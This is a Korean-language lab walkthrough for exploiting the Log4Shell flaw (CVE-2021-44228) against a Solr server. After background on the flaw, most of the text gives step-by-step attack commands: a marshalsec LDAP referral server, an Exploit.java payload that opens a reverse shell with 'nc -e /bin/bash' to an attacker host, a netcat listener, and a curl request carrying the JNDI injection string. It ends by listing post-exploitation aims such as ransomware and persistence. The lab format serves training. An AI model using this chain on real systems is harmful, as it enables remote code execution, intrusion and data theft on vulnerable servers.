Log4Shell (CVE-2021-44228) 취약점을 JNDI 인젝션, LDAP 리퍼럴 서버, 리버스 셸 페이로드로 익스플로잇하는 실습형 랩입니다. 탐지, 우회 기법, 사후 공격 가이드를 포함합니다.
Log4j 취약점은 "Log4Shell" 또는 "CVE-2021-44228"로도 알려져 있으며, Apache Log4j 라이브러리의 치명적인 보안 결함입니다. Log4j는 개발자가 애플리케이션에서 파일, 데이터베이스, 콘솔 출력 등 다양한 대상으로 메시지를 로깅할 수 있도록 하는 널리 사용되는 Java 기반 로깅 프레임워크입니다.
이 취약점은 2021년 12월에 발견되었으며, 그 심각성과 악용 가능성으로 인해 상당한 주목을 받았습니다. Log4j 2.x 버전에 영향을 미치며, 경우에 따라 이전 버전에도 영향을 미칠 수 있습니다. Log4j 취약점은 원격 코드 실행(RCE) 취약점으로, 공격자가 결함을 악용하여 대상 시스템에서 임의의 코드를 실행할 수 있음을 의미합니다. 이 취약점은 특별히 조작된 데이터가 포함된 로그 메시지를 처리하는 것과 관련된 Log4j 라이브러리의 설계 결함으로 인해 발생합니다.
취약점 악용은 로그 메시지에 악성 코드를 주입할 수 있는 능력에 의존합니다. 이는 사용자 제어 입력 필드, HTTP 요청 헤더 또는 로그 문에 전달되는 기타 사용자 제공 데이터와 같은 다양한 벡터를 통해 달성될 수 있습니다.
취약한 애플리케이션이 특별히 조작된 데이터가 포함된 로그 메시지를 처리할 때, Log4j는 해당 데이터를 JNDI(Java Naming and Directory Interface) 조회로 해석합니다. 이 동작을 악용하여 공격자는 공격자가 제어하는 악성 서버로의 JNDI 조회를 트리거하는 페이로드를 제작할 수 있습니다. 이 서버는 대상 시스템에서 실행되는 페이로드로 응답하여 공격자가 원격 코드 실행을 달성할 수 있도록 합니다.
Log4j 취약점의 영향은 심각한데, Log4j가 웹 서버, 애플리케이션, 클라우드 서비스를 포함한 다양한 Java 기반 애플리케이션에서 널리 사용되기 때문입니다. 이 취약점으로 인해 공격자는 영향을 받는 시스템에 무단 액세스하여 데이터 유출, 시스템 손상, 그리고 손상된 환경의 추가 악용으로 이어질 수 있습니다.
현재 log4j 버전 2.16.0을 사용할 수 있으며 이 취약점을 패치합니다(JNDI가 완전히 비활성화되고, Message Lookups 지원이 제거되었으며, 새로운 DoS 취약점 CVE-2021-45046이 존재하지 않습니다). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
그러나 이 취약점의 엄청난 위험성은 로깅 패키지가 얼마나 보편적인지에 기인합니다. 수백만 개의 애플리케이션과 소프트웨어 제공업체가 자체 코드에서 이 패키지를 종속성으로 사용합니다. log4j를 사용하는 자체 코드베이스를 패치할 수 있지만, 다른 공급업체와 제조업체는 여전히 자체 보안 업데이트를 하위 호환으로 푸시해야 합니다. 많은 보안 연구원들은 이 취약점을 엄청난 공격 표면의 특성으로 인해 Shellshock에 비유했습니다. 우리는 앞으로 수년 동안 이 취약점을 보게 될 것입니다.
CVE-2021-44228에 취약한 소프트웨어 및 서비스의 커뮤니티 지원 목록은 이 GitHub 저장소를 확인하십시오 (https://github.com/YfryTchsGD/Log4jAttackSurface)
CVE-2021-44228에 관한 다른 많은 기사, 블로그, 리소스 및 학습 자료가 있지만, 저(이 연습의 저자)는 특히 다음을 선호합니다:
log4j 패키지는 항목을 "파싱"하여 로그에 추가 논리를 추가하여 궁극적으로 데이터를 보강하지만, 항목 데이터를 기반으로 작업을 수행하고 심지어 코드를 평가할 수도 있습니다. 이것이 CVE-2021-44228의 핵심입니다. 다른 구문은 실제로 로그 파일에 입력된 그대로 실행될 수 있습니다. 이러한 구문의 예는 다음과 같습니다:
이 log4j 취약점을 악용하는 일반적인 페이로드를 이미 알고 있을 수 있습니다. 이를 이용하는 일반적인 구문 형식은 다음과 같습니다:
이 구문은 log4j가 "JNDI" 또는 "Java Naming and Directory Interface"의 기능을 호출함을 나타냅니다. 궁극적으로 이는 외부 리소스 또는 "참조"에 액세스하는 데 사용될 수 있으며, 이는 이 공격에서 무기화되는 것입니다.
"ldap://" 스키마에 주목하십시오. 이는 대상이 LDAP 프로토콜을 통해 엔드포인트(이 공격의 경우 공격자가 제어하는 위치)에 연결함을 나타냅니다. 간결성을 위해 여기서 LDAP의 모든 세부 사항을 다룰 필요는 없지만, 공격을 정교화할 때 이와 함께 작업해야 한다는 점을 알아두십시오. 현재로서는 대상이 실제로 외부 위치에 연결한다는 점을 알아두십시오. 이는 위 구문의 ATTACKERCONTROLLEDHOST 자리 표시자로 표시됩니다. 이 시나리오에서 공격자 역할을 하는 당신은 이 연결을 보기 위해 간단한 리스너를 호스팅할 수 있습니다.
다음 질문은, 이 구문을 어디에 입력할 수 있을까요? 애플리케이션에 의해 데이터가 로깅되는 모든 곳입니다.
이것이 이 취약점의 핵심입니다. 불행히도, 다른 애플리케이션에 대한 공격 표면이 어디인지, 따라서 어떤 애플리케이션이 실제로 취약한지 결정하기가 매우 어렵습니다. 단순히 log4j 파일의 존재를 보는 것만으로는 정확한 버전 번호나 애플리케이션이 패키지를 어디서 어떻게 사용하는지 알 수 없습니다.
이 JNDI 구문을 제공할 수 있는 다른 위치:
이 JNDI 공격 벡터에 대한 자세한 내용은 2016년 Black Hat USA 프레젠테이션을 참조하십시오. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
Exploitation 이 시점에서 netcat 리스너에서 이 연결이 포착된 것을 확인하여 대상이 실제로 취약하다는 것을 확인했습니다. 그러나 LDAP 요청을 했기 때문에... netcat 리스너가 인쇄할 수 없는 문자(이상한 바이트)만 보았을 수 있습니다. 이제 이 기반 위에 실제 LDAP 핸들러로 응답하기 위해 구축할 수 있습니다.
우리는 "LDAP Referral Server"를 준비하기 위해 오픈 소스 공개 유틸리티를 활용할 것입니다. 이는 피해자의 초기 요청을 본질적으로 다른 위치로 리디렉션하는 데 사용되며, 여기서 궁극적으로 대상에서 코드를 실행할 보조 페이로드를 호스팅할 수 있습니다. 이는 다음과 같이 분류됩니다:
이는 HTTP 서버가 필요함을 의미하며, 다음 옵션 중 하나로 간단히 호스팅할 수 있습니다(8000 포트에서 서비스):
첫 번째 작업은 LDAP Referral Server를 얻는 것입니다. 우리는 https://github.com/mbechler/marshalsec 에서 제공되는 marshalsec 유틸리티를 사용할 것입니다.
궁극적으로 이것은 Java를 실행해야 합니다. 이 유틸리티의 README를 검토하면 Java 8을 사용할 것을 권장합니다. (다른 버전을 사용해도 성공할 수도 있지만, "규칙을 따르기 위해" 대상 시스템에서 사용되는 Java 버전과 동일한 버전을 사용하겠습니다).
다음은 Java 8을 로컬에 설치하는 단계입니다:
다음 명령을 실행하여 시스템이 이 Java 버전을 기본값으로 사용하도록 구성하십시오(적절한 다운로드 파일 시스템 경로 조정): 명령: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # 필요에 따라 버전 수정 sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
위의 파일 시스템 설정(update-alternatives 구문)을 다운로드, 추출 및 설정한 후 "java -version"을 실행하여 실제로 Java 1.8.0_181을 실행하고 있는지 확인할 수 있어야 합니다.
(https://github.com/mbechler/marshalsec)를 클론하고 이 새 폴더 "marshalsec"로 디렉토리를 변경하십시오.
Java 빌더 maven으로 marshalsec를 빌드해야 합니다. 시스템에 maven이 아직 없는 경우 패키지 관리자를 통해 설치할 수 있습니다: 명령: sudo apt install maven
다음으로 marshalsec 유틸리티를 빌드하는 명령을 실행하십시오: 명령: mvn clean package -DskipTests
marshalsec 유틸리티가 빌드되면 LDAP referral 서버를 시작하여 연결을 보조 HTTP 서버(곧 준비할)로 리디렉션할 수 있습니다. 이 도구로 구성할 수 있는 사용법, 매개변수 및 기타 설정을 자세히 살펴보는 것을 환영합니다. 그러나 데모를 위해 LDAP 서버를 시작하는 구문은 다음과 같습니다: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # 필요에 따라 공격 시스템의 IP 주소를 조정하십시오. HTTP 포트 8000에서 수신 대기할 것임을 명심하십시오.
이제 LDAP 서버가 준비되어 대기 중이므로, 두 번째 터미널 창을 열어 최종 페이로드와 보조 HTTP 서버를 준비할 수 있습니다.
궁극적으로 log4j 취약점은 Java 프로그래밍 언어로 작성한 임의의 코드를 실행합니다. Java에 익숙하지 않더라도 걱정하지 마십시오. 단순히 시스템 명령을 실행하기 위해 "쉘 아웃"하는 간단한 구문을 사용할 것입니다. 사실, 리버스 셸 연결을 검색하여 대상 시스템을 제어할 수 있도록 할 것입니다! 이 페이로드를 호스팅할 새 디렉토리를 만들고 이동하십시오. 먼저, 원하는 텍스트 편집기(mousepad, nano, vim, Sublime Text, VS Code 등)에서 특정 이름 "Exploit.java"(이 저장소에 제공됨)로 페이로드를 만드십시오. 필요에 따라 공격자 IP 주소와 포트 번호를 수정하십시오.
이 페이로드의 경우 대상에서 명령을 실행할 것임을 알 수 있습니다. 특히 nc -e /bin/bash를 사용하여 공격자 시스템으로 다시 호출합니다. 다른 페이로드를 실험해 보는 것도 환영합니다.
"javac Exploit.java"로 페이로드를 컴파일하고 "ls" 명령을 실행하여 새로 생성된 "Exploit.class"를 찾아 성공했는지 확인하십시오. 페이로드를 만들고 컴파일했으면 임시 HTTP 서버를 시작하여 호스팅할 수 있습니다. user@host:~/ python3 -m http.server
페이로드가 생성 및 컴파일되었고, 한 터미널에서 HTTP 서버로 호스팅되고 있으며, LDAP referral 서버가 다른 터미널에서 대기 중입니다. 다음으로, 또 다른 새 터미널 창에서 리버스 셸을 잡기 위한 netcat 리스너를 준비하십시오: user@host$ nc -lnvp 9999
마지막으로, 남은 것은 익스플로잇을 트리거하고 JNDI 구문을 발사하는 것뿐입니다! 포트 번호(이제 LDAP 서버를 참조)와 검색하는 리소스(익스플로잇 지정)의 변경에 유의하십시오(공격자 IP 주소를 적절히 수정하십시오): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
이제 초기 액세스 및 명령 및 제어를 얻었습니다. 이 시점에서 위협 행위자는 실제로 피해자에게 원하는 모든 작업을 수행할 수 있습니다. 권한 상승, 유출, 지속성 설치, 측면 이동 또는 기타 사후 악용(잠재적으로 암호화폐 채굴기, 원격 액세스 트로이목마, 비콘 및 임플란트, 또는 랜섬웨어 배포)이 포함됩니다.
Persistence 이제 피해자 시스템에서 리버스 셸 연결을 얻었으므로 원하는 모든 작업을 계속 수행할 수 있습니다. 이 log4j 취약점을 더 잘 이해하기 위해 "더 나은 액세스"를 부여하여 시스템을 탐색하고 영향을 받는 로그를 분석하며 취약점을 완화할 수도 있습니다!